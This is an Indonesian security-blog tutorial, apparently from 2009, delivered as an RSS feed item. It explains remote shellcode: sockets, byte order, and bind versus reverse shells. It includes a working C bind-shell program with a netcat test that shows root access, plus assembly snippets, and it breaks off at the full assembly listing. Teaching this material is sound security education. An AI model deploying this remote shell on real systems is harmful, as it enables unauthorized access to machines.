<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Ilmu Hacking</title>
	
	<link>http://www.ilmuhacking.com</link>
	<description>Hackingology, Computer Security Blog</description>
	<lastBuildDate>Sat, 26 Dec 2009 00:34:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ilmuhacking" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="ilmuhacking" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Belajar Membuat Shellcode Part 2: Remote Exploit Shellcode</title>
		<link>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-2-remote-exploit-shellcode/</link>
		<comments>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-2-remote-exploit-shellcode/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 09:53:03 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1907</guid>
		<description><![CDATA[Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote.
Remote Exploit
Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang &#8220;LISTEN&#8221; di port [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote.</p>
<p style="text-align: justify;"><strong>Remote Exploit</strong></p>
<p style="text-align: justify;">Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang &#8220;LISTEN&#8221; di port tertentu.</p>
<p style="text-align: justify;">Perbedaan utama antara local exploit dan remote exploit adalah pada kondisi awalnya. Pada local exploit, sejak awal attacker sudah memiliki shell access baik melalui ssh, telnet atau remote desktop connection, namun dengan hak akses terbatas (sebagai normal user). Sedangkan pada remote exploit, kondisi awal attacker adalah tidak memiliki akses shell. Akses shell yang saya maksud adalah kemampun untuk execute suatu file executable.</p>
<p style="text-align: justify;">Jadi pada local exploit, tujuannya adalah privilege escalation atas hak akses yang terbatas tersebut menjadi tidak terbatas (root/administrator). Sedangkan pada remote exploit, karena pada awalnya tidak punya akses shell, maka remote exploit berusaha mendapatkan akses shell, baik sebagai user biasa maupun sebagai super user (root/administrator).</p>
<p><span id="more-1907"></span></p>
<p style="text-align: justify;"><strong>Remote Shellcode</strong></p>
<p style="text-align: justify;">Dalam artikel ini saya akan menjelaskan tentang pembuatan 2 jenis remote shellcode, yaitu:</p>
<ul>
<li><strong>Port Binding Shellcode</strong></li>
</ul>
<p style="text-align: justify;">Shellcode jenis ini bertujuan untuk memberikan shell yang bisa diakses dari jauh melalui port tertentu. Attacker bisa mengakses shell tersebut dengan membuka koneksi ke IP komputer target pada port yang sudah ditentukan sebelumnya.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/port-binding3.gif"><img class="aligncenter size-full wp-image-1920" title="port binding" src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/port-binding3.gif" alt="port binding" width="701" height="256" /></a></p>
<p style="text-align: justify;">Port binding shellcode tidak berguna bila komputer target dilindungi dengan firewall yang memblok inbound koneksi ke port di luar port yang diijinkan.</p>
<blockquote>
<p style="text-align: justify;">Firewall yang ditakutkan bukan firewall yang berada di komputer target sebab attacker bisa juga menambahkan rutin untuk mendisable firewall di komputer target. Tetapi firewall yang berada di luar komputer target tidak bisa dimatikan dari komputer target.</p>
</blockquote>
<ul>
<li><strong>Reverse Connecting Shellcode</strong></li>
</ul>
<p style="text-align: justify;">Reverse connecting shellcode mirip dengan port binding shellcode namun arah koneksinya terbalik. Dalam shellcode ini justru komputer target yang membuka koneksi ke attacker. Kenapa diperlukan shellcode seperti ini? Dalam banyak kasus orang sangat paranoid terhadap koneksi yang masuk ke komputernya, namun tidak terlalu paranoid untuk koneksi keluar.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/reverseconnecting.gif"><img class="aligncenter size-full wp-image-1922" title="reverseconnecting" src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/reverseconnecting.gif" alt="reverseconnecting" width="691" height="270" /></a></p>
<blockquote>
<p style="text-align: justify;">Port yang biasanya diijinkan untuk diakses adalah port untuk http, yaitu 80 dan 443 (SSL) karena ini adalah layanan yang paling banyak dipakai sehingga kecil kemungkinan ada admin yang memblok koneksi ke web server luar</p>
</blockquote>
<p><strong>Socket Programming</strong></p>
<p style="text-align: justify;">Apa itu socket? Socket merupakan salah satu metode IPC (inter process communication), yaitu komunikasi antar proses (running program) di komputer yang sama maupun di komputer lain (melalui jaringan). Dalam kasus ini kita membicarakan mengenai internet socket, yaitu socket yang digunakan untuk berkomunikasi melalui jaringan baik dengan komputer yang sama (localhost) maupun dengan komputer lain.</p>
<p style="text-align: justify;">Ada dua jenis internet socket, yaitu datagram socket dan stream socket. Datagram socket digunakan untuk berkomunikasi menggunakan protokol UDP. Protokol UDP tidak cocok dipakai untuk kasus ini karena protokol ini tidak reliable. Stream socket adalah socket yang memakai protokol TCP, protokol inilah yang akan dipakai dalam shellcode ini.</p>
<p style="text-align: justify;">
Sebelum bisa memakai fungsi-fungsi socket, program harus meng-include header file berikut:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/socket.h&gt;     // library untuk socket</span>
<span style="color: #339933;">#include &lt;netinet/in.h&gt;      // definisi struct untuk socket</span></pre></div></div>

<p style="text-align: justify;">
<b>Network Byte Order vs Host Byte Order</b>
</p>
<p style="text-align: justify;">
Dalam komputer, ada aturan bagaimana data secara internal disimpan. Ada dua kubu aturan penyimpanan yang dipakai: little endian dan big endian. Ada beberapa arsitektur komputer yang memakai little endian seperti Intel, dan ada juga yang memakai big endian seperti Motorola dan PowerPC.
</p>
<p style="text-align: justify;">
Dalam socket programming kita akan berkomunikasi dengan komputer lain yang tidak selalu sejenis arsitekturnya dengan yang kita pakai. Mungkin di komputer kita memakai little endian, berkomunikasi dengan komputer yang memakai big endian. Karena ada variasi ini, maka protokol IP mendefinisikan istilah network byte order dan host byte order.
</p>
<blockquote><p>
Network byte order adalah byte order dari protokol network yaitu memakai big endian byte ordering.
</p></blockquote>
<blockquote><p>
Host byte order adalah byte order yang dipakai client/server, bisa little atau big endian tergantung arsitektur komputernya.
</p></blockquote>
<blockquote><p>
Host byte order mungkin sama atau berbeda dengan host byte order.
</p></blockquote>
<p align="justify">
Pada notasi little endian, byte rendah ditulis duluan, baru kemudian byte tinggi. Sedangkan pada notasi big endian, byte tinggi ditulis duluan, baru kemudian byte tinggi. Perhatikan gambar di bawah ini untuk melihat perbedaan little dan big endian.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/endianness1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/endianness1.png" alt="" title="endianness" width="539" height="372" class="aligncenter size-full wp-image-1948" /></a></p>
<p align="justify">
Pada gambar di atas IP address 192.168.0.14 dalam hexa adalah C0.A8.00.0E disimpan dalam notasi little endian dan big endian. Byte paling rendah, yaitu 0&#215;0E disimpan di alamat memori paling rendah pada sistem little endian. Sedangkan pada big endian, byte paling tinggi 0xC0 disimpan di alamat memori paling rendah.
</p>
<p style="text-align: justify;">
Dalam kasus arsitektur Intel IA32, terdapat perbedaan endianness antara host byte order yang memakai little endian, dengan network byte order protokol network yang memakai big endian. Perbedaan ini membuat data yang diterima dari protokol harus dikonversi dulu ke notasi little endian, bila tidak akan terjadi mis-interpretasi data. Contohnya data yang diterima dari network 0xABCD, bila tidak dikonversi maka data tersebut dikira sebagai 0xCDAB pada komputer yang memakai little endian.
</p>
<p style="text-align: justify;">
Karena protokol network memakai big endian, maka data yang ditulis dalam paket yang dikirim ke jaringan harus dalam notasi big endian. Contohnya dalam protokol IP, field source address harus ditulis dalam notasi big endian. Perhatikan contoh sniffing network packet berikut:
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/networkpacket.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/networkpacket.png" alt="" title="networkpacket" width="605" height="570" class="aligncenter size-full wp-image-1952" /></a></p>
<p style="text-align: justify;">
Perhatikan pada gambar di atas, field destination IP adalah 192.168.0.14 yang bila ditulis dalam bentuk dotted hexadecimal adalah C0.A8.00.0E. Dalam network packet, IP tersebut ditulis dalam bentuk C0.A8.00.0E, yaitu notasi big endian untuk C0.A8.00.0E. Bila menggunakan notasi little endian, nilai tersebut akan disimpan sebagai 0E.00.A8.C0.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/portendian.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/portendian.png" alt="" title="portendian" width="553" height="375" class="aligncenter size-full wp-image-1955" /></a></p>
<p style="text-align: justify;">
Pada gambar di atas juga terlihat bahwa field destination port dan source port juga ditulis dalam notasi big endian. Jadi jelas secara internal kita sudah melihat raw packet data yang diambil dari network, semua nilai ditulis dalam notasi big endian. Sekarang tinggal komputer yang terlibat dalam komunikasi harus menyesuaikan diri dengan notasi tersebut. Bila arsitekturnya juga memakai big endian, maka tidak ada yang perlu dikonversi.
</p>
<p style="text-align: justify;">
Karena host byte order di komputer yang saya pakai (IA32) memakai little endian, sedangkan network byte order memakai big endian, maka diperlukan konversi dari little endian ke big endian. Ada banyak fungsi untuk melakukan konversi ini, antara lain:
</p>
<ul>
<li>htons() dan htonl()</li>
<p align="justify">Mengubah host byte order ke network byte order. Fungsi ini dipakai untuk mengirimkan paket, sebelum data ditulis dalam paket dan dikirim ke jaringan harus dikonversi dulu dalam bentuk network byte order.</p>
<p align="justify">
Bagaimana menuliskan port 80 dalam network byte order? Pertama 80 dalam hexa adalah 0&#215;0050. Karena host (IA32) memakai little-endian, dan network memakai big endian, maka 0&#215;0050 ini perlu dibalik dulu menjadi 0&#215;5000. Kenapa harus dibalik? Ingat dalam IA32, nilai 0&#215;5000 di memori komputer host akan tersimpan sebagai 0&#215;00 0&#215;50 dan dituliskan dalam paket jaringan dalam urutan yang sama 0&#215;00 0&#215;50. Bila 0&#215;0050 tidak dibalik, maka di memori komputer host (IA32) akan tersimpan sebagai 0&#215;50 0&#215;00, sehingga dalam paket jaringan tertulis port 0&#215;50 0&#215;00 yang berarti port 20.480 bila diartikan memakai big endian, bukan port 80.
</p>
<li>ntohs() dan ntohl()</li>
<p align="justify">Mengubah network byte order ke host byte order. Fungsi ini dipakai ketika menerima paket dari jaringan. Dalam paket tersebut data ditulis dalam notasi big endian, sehingga perlu dikonversi ke host byte order yang sesuai (dalam kasus IA32 adalah little endian).</p>
</ul>
<p align="justify">Dalam contoh sebelumnya, port 80 dalam paket jaringan tertulis dalam urutan 0&#215;00 0&#215;50. Nilai ini ketika diterima oleh komputer host juga tersimpan di memori dalam urutan yang sama. Urutan dua byte 0&#215;00 0&#215;50 dalam host yang memakai little endian diartikan sebagai 0&#215;5000 yaitu 20.480. Oleh karena itu perlu dikonversi dulu menjadi notasi little endian, menjadi 0&#215;50 0&#215;00. Dua byte 0&#215;50 0&#215;00 dalam sistem little endian diartikan sebagai nilai 0&#215;0050 yaitu port 80.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/hostnetbyteorder.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/hostnetbyteorder.png" alt="" title="hostnetbyteorder" width="183" height="266" class="aligncenter size-full wp-image-1960" /></a></p>
<p align="justify">
Gambar di atas mengilustrasikan pemakaian fungsi untuk konversi endianness antara host dan network. Dalam membua shellcode nanti kita tidak akan memakai fungsi itu, kita akan langsung menuliskan dalam bentuk network byte order.
</p>
<p style="text-align: justify;">
<b>Socket Address Structure</b>
</p>
<p style="text-align: justify;">
Dalam pemrograman socket, sebuah proses akan memakai IP address dan port tertentu yang disimpan dalam struktur data bernama socket address yang strukturnya seperti di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">typedef</span> uint32_t in_addr_t<span style="color: #339933;">;</span>
<span style="color: #993333;">struct</span> in_addr
  <span style="color: #009900;">&#123;</span>
    in_addr_t s_addr<span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">struct</span> sockaddr_in
  <span style="color: #009900;">&#123;</span>
    sa_family_t sin_family<span style="color: #339933;">;</span>
    in_port_t sin_port<span style="color: #339933;">;</span>
    <span style="color: #993333;">struct</span> in_addr sin_addr<span style="color: #339933;">;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> sin_zero<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></div></div>

<p align="justify">
sin_family adalah jenis alamat yang dipakai dalam socket, dalam kasus ini kita isi dengan 2 atau AFINET, yaitu IP (internet protocol) address.  sin_addr adalah IP address yang bertipe struct in_addr yang hanya memiliki satu field yaitu s_addr bertipe integer. Dalam kasus port binding shellcode, sin_addr.s_addr diisi dengan 0 atau INADDR_ANY yang berarti kita menggunakan semua IP di localhost (tidak hanya 127.0.0.1 tapi semua IP address di komputer tersebut). sin_port adalah port yang akan dipakai untuk LISTEN, silakan mengisi dengan port apa saja yang tidak dipakai.
</p>
<blockquote><p>Ingat menuliskan IP address dan port harus dalam bentuk network byte order</p></blockquote>
<p><b>Client Server Socket Programming</b><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/socketprogramming.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/socketprogramming.jpg" alt="" title="socketprogramming" width="416" height="290" class="aligncenter size-full wp-image-1970" /></a></p>
<p align="justify">
Socket programming melibatkan dua pihak, yaitu client dan server. Hubungan antara client dan server serta fungsi yang dipakai dapat dilihat pada gambar di atas.
</p>
<p align="justify">
Pada sisi server, fungsi yang dipakai adalah:
</p>
<ol>
<li>socket()</li>
<p align="justify">Ini adalah fungsi untuk membentuk socket baik di sisi server maupun client. Pertama kali yang harus dilakukan dalam socket programming adalah membuat socket dengan fungsi ini.</p>
<li>bind()</li>
<p align="justify">
Ini adalah fungsi untuk memakai IP address dan port tertentu dalam socket yang sudah dibuat dengan fungsi socket() sebelumnya.
</p>
<li>listen()</li>
<p align="justify">
Ini adalah fungsi untuk LISTEN atau menunggu permintaan koneksi dari client.
</p>
<li>accept()</li>
<p align="justify">
Ini adalah fungsi untuk menerima koneksi dari client.
</p>
<li>read()</li>
<p align="justify">
Ini adalah fungsi untuk menerima data yang dikirim client.
</p>
<li>write()</li>
<p align="justify">
Ini adalah fungsi untuk mengirim data ke client.
</p>
</ol>
<p align="justify">
Sedangkan pada sisi client lebih sederhana, fungsi yang dipakai adalah:
</p>
<ol>
<li>socket()</li>
<p align="justify">Sama seperti pada server, fungsi ini adalah fungsi yang pertama dipanggil dalam socket programming.</p>
<li>connect()</li>
<p align="justify">Fungsi ini untuk membuka koneksi ke server.</p>
<li>read()</li>
<p align="justify">Fungsi ini untuk menerima data dari server.</p>
<li>write()</li>
<p align="justify">Fungsi ini untuk mengirim data ke server.</p>
</ol>
<p><strong>Socket adalah File</strong></p>
<p align="justify">
Di UNIX semua hal adalah file, termasuk juga socket. Setiap file setelah dibuka, dapat dioperasikan dengan memakai file handler. Ketika program memanggil fungsi socket(), maka dia akan menerima socket file handler, dan dengan handler tersebut operasi dengan socket bisa dilakukan untuk berkomunikasi melalui jaringan.
</p>
<p align="justify">
Kenapa saya perlu menjelaskan tentang ini? Sebab dalam port binding shellcode kita perlu mengarahkan file handler stdin, stdout dan stderr ke file handler socket. STDIN adalah file handler dengan nilai 0, STDOUT adalah file handler dengan nilai 1 dan STDERR adalah file handler dengan nilai 2.
</p>
<p align="justify">
Biasanya stdin adalah keyboard, sehingga dengan membaca stdin program akan menerima masukan dari user. Namun dalam shellcode ini program tidak menerima input secara langsung dari keyboard, tetapi input berasal dari client socket. Agar input dari client socket bisa diterima oleh shell yang akan kita execute, maka kita perlu melakukan cloning dari client socket ke stdin. Dengan cloning ini, kini stdin adalah client socket dan program menerima input dari client socket.
</p>
<p align="justify">
Stdout adalah tempat untuk menampilkan output yang biasanya adalah layar console. Namun dalam kasus ini, output harus bisa dibaca oleh attacker yang berada di komputer lain melalui jaringan. Oleh karena itu stdout juga harus dicloning ke client socket sehinga shell bisa mengirimkan output melalui jaringan. Sedangkan stderr biasanya adalah layar console, sama dengan stdout.
</p>
<p align="justify">
Cloning file handler dilakukan dengan memanggil fungsi dup2([socket handler],[stdin/stdout/stderr]). Fungsi ini membuat socket handler dan stdin/stdout/stderr adalah sama.
</p>
<p><strong>Membuat Port Binding Shellcode</strong></p>
<p style="text-align: justify;">Port binding shellcode artinya shellcode bertindak sebagai server yang menunggu koneksi dari client yaitu attacker. Sebelum kita membuat shellcode dalam bahasa assembly saya akan membuat program port binding dalam bahasa C agar lebih mudah dimengerti. Source code port binding shellcode dalam bahasa C terlihat seperti di bawah ini:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/socket.h&gt;</span>
<span style="color: #339933;">#include &lt;netinet/in.h&gt;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #993333;">int</span> server<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// server socket file handler</span>
        <span style="color: #993333;">int</span> client<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// client socket file handler</span>
        <span style="color: #993333;">struct</span> sockaddr_in serv_addr<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// definisi ipaddress dan port</span>
&nbsp;
        server<span style="color: #339933;">=</span>socket<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">2</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// membuat socket STREAM</span>
        serv_addr.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span><span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// ip address ALL LOCAL address</span>
        serv_addr.<span style="color: #202020;">sin_port</span><span style="color: #339933;">=</span><span style="color: #208080;">0x5C09</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// port 2396 dalam network byte order</span>
        serv_addr.<span style="color: #202020;">sin_family</span><span style="color: #339933;">=</span><span style="color: #0000dd;">2</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Jenis address IP</span>
        bind<span style="color: #009900;">&#40;</span>server<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>serv_addr<span style="color: #339933;">,</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// bind socket ke port dan ipaddress</span>
        listen<span style="color: #009900;">&#40;</span>server<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// menunggu koneksi dari client</span>
        client<span style="color: #339933;">=</span>accept<span style="color: #009900;">&#40;</span>server<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// koneksi dari client sudah terjalin</span>
&nbsp;
        dup2<span style="color: #009900;">&#40;</span>client<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// duplicate stdin ke client socket</span>
        dup2<span style="color: #009900;">&#40;</span>client<span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// duplicate stdout ke client socket</span>
        dup2<span style="color: #009900;">&#40;</span>client<span style="color: #339933;">,</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// duplicate stderr ke cilent socket</span>
&nbsp;
        shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span>
        shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
        execve<span style="color: #009900;">&#40;</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>shell<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// execute shell dengan stdin,stdout dan stderr ke socket</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="text-align: justify;">
Seperti pada gambar yang telah saya jelaskan di atas, socket programming di server dimulai dari fungsi socket() untuk membuat server socket dan mendapatkan file handlernya. Setelah itu ip address dan port harus didefinisikan dalam struct sockaddr_in. Socket address ini akan dipakai dalam fungsi bind() untuk mengikat port dan ip address tersebut dengan socket yang sudah dibuat sebelumnya. Setelah ip dan port sudah terikat dengan socket, kita bisa mulai menunggu koneksi dari client dengan fungsi listen(). Program akan blocking di fungsi listen() ini. Program akan resume, mulai berjalan lagi ketika client membuka koneksi dan hubungan telah terjalin. Setelah hubungan telah terjalin, kita akan memanggil fungsi accept() untuk mendapatkan file handler socket untuk client.
</p>
<blockquote><p>Ada dua socket yang dipakai: server socket dan client socket</p></blockquote>
<p style="text-align: justify;">
Port yang akan kita pakai untuk LISTEN adalah port 2396, yang dalam hexadesimal adalah 0&#215;095C. Ingat penulisan port harus dalam bentuk network byte order (big endian), sehingga penulisannya harus dibalik menjadi 0&#215;5C09.
</p>
<p style="text-align: justify;">
Saya menggunakan IP address bernilai 0 yang artinya all local address. Local address disini tidak hanya 127.0.0.1 tetapi juga semua ip address yang terdefinisi di interface yang ada pada host tersebut. Bila dalam host tersebut ada 3 ethernet card dengan ip yang berbeda, maka dia akan listen di semua ip tersebut.
</p>
<p style="text-align: justify;">
Dalam program di atas sebelum kita mengeksekusi /bin/sh, kita perlu mengarahkan stdin,stdout dan stderr ke client socket. Hal ini dimaksudkan karena program yang dieksekusi dengan execve akan mewarisi stdin, stdout dan stderr dari yang mengeksekusinya. Jadi bila tidak dicloning dulu, maka stdin,stdout,stderr akan memakai keyboard dan layar console sehingga tidak bisa dipakai untuk mengirim command dan menerima outputnya dari jarak jauh.
</p>
<p><b>Test</b></p>
<p align="justify">
Sekarang mari kita uji program port binding di atas. Saya memakai dua console di komputer yang sama untuk mengujinya. Pada console pertama saya akan melakukan kompilasi dan menjalankan program tersebut sebagai root.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc portbind.c -o portbind
$ sudo ./portbind</pre></div></div>

<p align="justify">
Setelah portbind dijalankan sebagai root dengan sudo, kini di console lain saya membuka koneksi ke port 2396 dengan mamakai program netcat.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nc localhost 2396
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
exit</pre></div></div>

<p><b>Port Binding dalam Assembly</b></p>
<p align="justify">
Oke dalam pengujian di atas kita berhasil membuat program yang listen ke port tertentu dan mengeksekusi shell bila ada koneksi masuk. Sekarang kita harus membuat program sejenis namun dalam bahasa assembly. Sama seperti pembuatan local shellcode, kita menggunakan interrupt 80 hexa untuk memanggil system call. System call yang akan kita panggil adalah socket, bind, listen, accept, dup2 dan execve.
</p>
<p align="justify">
Keluarga system call socket, bind, listen dan accept adalah satu system call dengan nomor 102. Sebelum memanggil interrupt 80h kita perlu mendefinisikan dulu apa yang akan kita panggil, apakah socket, bind, listen atau accept. Pilihan tersebut harus dimasukkan dalam register EBX:
</p>
<ul>
<li>EBX = 1 untuk socket()</li>
<li>EBX = 2 untuk bind()</li>
<li>EBX = 3 untuk connect()</li>
<li>EBX = 4 untuk listen()</li>
<li>EBX = 5 untuk accept()</li>
</ul>
<p align="justify">
Parameter untuk fungsi socket, bind, connect, listen dan accept disimpan sebagai array yang addressnya disimpan dalam register ECX. Seperti biasa register EAX harus diisi dengan nomor system call yaitu 102.
</p>
<p><b>struct sockaddr_in dalam Assembly</b></p>
<p align="justify">
Bagian yang rumit dalam shellcode ini adalah ketika membentuk struct sockaddr_in. Struct ini sebenarnya berukuran 16 byte, tetapi 8 byte terakhir adalah sin_zero yang tidak terpakai, jadi kita hanya fokus mengisi 8 byte pertama.
</p>
<p align="justify">
Susunan byte pada struct sockaddr_in adalah:</p>
<p align="justify">
<ul>
<li>Byte ke-1 dan ke-2: sin_family yang akan diisi dengan 0&#215;0002 (AF_INET).</li>
<li>Byte ke-3 dan ke-4: sin_port yang akan diisi dengan 0&#215;5C09 (port 2396).</li>
<li>Byte ke-5 s/d ke-8: sin_addr.s_addr yang akan diisi dengan 0&#215;00000000 (semua IP di interface host).</li>
</ul>
<p align="justify">
Alamat dari struct sockaddr_in ini harus disimpan dalam ECX. Kita akan memanfaatkan stack untuk membentuk struct ini. Karena stack adalah struktur data LIFO, maka kita harus push dulu 4 byte terakhir (0&#215;00000000), kemudian diikuti dengan push 2 byte untuk sin_port dan terakhir baru push untuk sin_family. Setelah semua di-push, maka ESP menunjuk pada address struct ini sehingga harus kita salin ke ECX.
</p>
<p align="justify">
Snipped assembly di bawah ini adalah instruksi untuk membuat struct sockaddr_in. Di akhir source, ESP menunjuk pada address struct sockaddr_in.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; edx = 0 </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push sin_addr.s_addr 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #0000ff;">0x5C09</span> <span style="color: #666666; font-style: italic;">; push sin_port</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">2</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">dx</span> <span style="color: #666666; font-style: italic;">; push sin_family 0x0002</span></pre></td></tr></table></div>

<p align="justify">
Setelah snippet di atas dijalankan, struct sockaddr_in akan terlihat seperti di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">0x02    0x00    0x09    0x5C    0x00    0x00    0x00    0x00</pre></div></div>

<p align="justify">
0&#215;02 0&#215;00 adalah sin_family, hasil dari instruksi &#8220;push dx&#8221; pada saat regsiter DX bernilai 2. Byte berikutnya 0&#215;09 0&#215;5C adalah sin_port, hasil dari instruksi &#8220;push word 0&#215;5C09&#8243;. Lalu 4 byte sisanya adalah sin_addr.s_addr hasil dari instruksi &#8220;push edx&#8221; pada saat EDX bernilai 0.
</p>
<p><b>Source Code Assembly Port Binding Shellcode</b></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
